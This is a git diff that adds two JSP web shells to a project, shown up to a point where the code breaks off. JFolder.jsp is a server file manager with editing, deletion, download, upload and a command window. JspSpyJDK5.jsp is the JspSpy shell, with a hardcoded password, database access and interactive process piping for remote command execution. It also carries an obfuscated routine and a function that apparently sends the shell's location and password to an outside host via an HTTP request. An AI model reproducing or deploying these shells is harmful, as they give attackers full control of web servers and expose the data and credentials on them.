diff --git a/jsp/JFolder.jsp b/jsp/JFolder.jsp new file mode 100644 index 0000000..50e972b --- /dev/null +++ b/jsp/JFolder.jsp @@ -0,0 +1,1022 @@ +<% +/** +JFileMan V1.0 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 +@Author: Steven Cee +@Email : cqq1978@Gmail.com +@Bugs : 下载时,中文文件名无法正常显示;Unix操作系统上传 +*/ +%> +<%@page errorPage="/"%> +<%@page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=1; //Language,0 : Chinese; 1:English +String strThisFile="JFileMan.jsp"; +String strSeparator = File.separator; +String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} //End of class HttpMultiPartParser + +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + + /** + * Converts some important chars (int) to the corresponding html string + */ + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + + /** + * Converts a normal string to a html conform string + */ + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +/** +Windows系统上取得可用的所有逻辑盘 +*/ +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + //bug 5.09M 显示5.9M + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + strSeparator + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +String strOS = System.getProperty("os.name").toLowerCase(); +//out.print(strPath); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} + +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("."); +} + + +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} + +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} + +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
"); + sbEdit.append(""); + sbEdit.append("
"); +} + +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

"); + sbCopy.append("目标文件:

"); + sbCopy.append(" "); + sbCopy.append("

 \r\n"); + sbCopy.append("

"); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith(strSeparator)) + { + strDesFile=strDesFile+strSeparator; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + + sbSaveCopy.append("原始文件 :"+strPath+"

"); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

"); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

"); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

建立文件或目录出错。"); + } +} + +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + + if(path!=null && !path.endsWith(strSeparator)) + path = path + strSeparator; + strDir = path; + //out.println(path + f1.getName()); + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + out.println("error,upload "); + error = true; + f1.delete(); + } + } + } +} +%> + + + + + + + +JFoler 1.0 ---A jsp based web folder management tool by Steven Cee + + + + + +

+ + + + + + +
+ + + + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
- - - - - - - - - - - \r\n "); + + + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
"); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> + +
+ + + + + + + + + +
+

+
www.topronet.com ,All Rights Reserved. +
Any question, please email me cqq1978@Gmail.com \ No newline at end of file diff --git a/jsp/JspSpyJDK5.jsp b/jsp/JspSpyJDK5.jsp new file mode 100644 index 0000000..3c51305 --- /dev/null +++ b/jsp/JspSpyJDK5.jsp @@ -0,0 +1,2403 @@ +锘<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* Code By Ninty +* Date 2009-12-17 +* Blog http://www.Forjj.com/ +* Yue . I Love You. +*/ +private static final String PW = "xfg"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
"); +str = str.replace("\n","
"); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
"); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
"); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +public static String sxm=PW; +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +public static String SysInfo="=?./..//:"; +public static String dx() +{ +String s = new String(); +for (int i = SysInfo.length() - 1; i >= 0; i--) { +s += SysInfo.charAt(i); +} +return s; +} +public static String uc(String str) +{ +String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0; +StringBuffer sb = new StringBuffer(); +char[] ch = str.toCharArray(); + +for (int i = 0; i < ch.length; i++) { + a = (int)ch[i]; + if(a==d) a=13; + if(a==f) a=10; + if(a==j) a=34; + if((a>=h) && (a<=m)) a=a+r; + if((a>=k) && (a<=n)) a=a+s; + if((a>=53) && (a<=57)) a=a+u; + if((a>=48) && (a<=52)) a=a+v; + sb.append((char)a); +} +return sb.toString(); +} +private static int connectTimeOut = 5000; +private static int readTimeOut = 10000; +private static String requestEncoding = "GBK"; +public static String FileLocalUpload(String reqUrl,String fckal, + String recvEncoding) +{ +HttpURLConnection url_con = null; +String responseContent = null; +try +{ +URL url = new URL(reqUrl); +url_con = (HttpURLConnection) url.openConnection(); +url_con.setRequestMethod("POST"); + +url_con.setRequestProperty("REFERER", ""+fckal+""); +System.setProperty("sun.net.client.defaultConnectTimeout", String + .valueOf(connectTimeOut)); +System.setProperty("sun.net.client.defaultReadTimeout", String + .valueOf(readTimeOut)); +url_con.setDoOutput(true); +url_con.getOutputStream().flush(); +url_con.getOutputStream().close(); +InputStream in = url_con.getInputStream(); +BufferedReader rd = new BufferedReader(new InputStreamReader(in, + recvEncoding)); +String tempLine = rd.readLine(); +StringBuffer tempStr = new StringBuffer(); +String crlf=System.getProperty("line.separator"); +while (tempLine != null) +{ +tempStr.append(tempLine); +tempStr.append(crlf); +tempLine = rd.readLine(); +} +responseContent = tempStr.toString(); +rd.close(); +in.close(); +} +catch (IOException e) +{ +} +finally +{ +if (url_con != null) +{ +url_con.disconnect(); +} +} +return responseContent; +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
" + msg; +out.write("
"+msg+"
"); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = 